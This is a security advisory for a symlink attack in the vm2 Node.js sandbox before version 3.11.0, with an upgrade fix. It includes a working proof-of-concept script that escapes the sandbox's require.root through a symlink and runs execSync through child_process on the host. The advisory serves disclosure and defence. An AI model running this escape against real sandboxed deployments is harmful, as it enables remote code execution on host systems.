Symlink Attack Affecting vm2 package, versions <3.11.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-VM2-16439013
  • published7 May 2026
  • disclosed7 May 2026
  • creditbugbunny-research

Introduced: 7 May 2026

NewCVE-2026-43998  (opens in a new tab)
CWE-59  (opens in a new tab)

How to fix?

Upgrade vm2 to version 3.11.0 or higher.

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Symlink Attack via the isPathAllowed path check in lib/resolver-compat.js. An attacker can execute code outside the configured require.root by placing or using a symlink inside the allowed root and causing require() to load it. The resolver compares a lexically resolved filename against the configured root with a string prefix check, while Node’s native module loader follows symlinks to the target path. In context: 'host', this lets an attacker run outside-root modules with host privileges, leading to remote code execution and compromise of the host process.

PoC

const path = require('path');
const fs = require('fs');
const os = require('os');
const { NodeVM } = require('vm2');

// Create an "allowed" root directory
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-'));
fs.mkdirSync(path.join(root, 'node_modules'), { recursive: true });

// Symlink inside root pointing to vm2 package outside root
// In real deployments: pnpm, npm link, workspaces create these automatically
const link = path.join(root, 'node_modules', 'safe');
fs.symlinkSync(path.resolve(__dirname), link, 'dir');

const vm = new NodeVM({
  require: {
    external: ['safe'],
    root,
    context: 'host',
    builtin: [],       // no builtins allowed
  },
});

// Sandbox code loads vm2 from outside root via symlink,
// creates a privileged inner NodeVM to get child_process
const out = vm.run(`
  const { NodeVM } = require('safe');
  const inner = new NodeVM({ require: { builtin: ['child_process'] } });
  module.exports = inner.run(
    "module.exports = require('child_process').execSync('id').toString()",
    'inner.js'
  );
`, path.join(root, 'vm.js'));

console.log(out.trim()); // prints host uid/gid — RCE achieved

CVSS Base Scores

version 4.0
version 3.1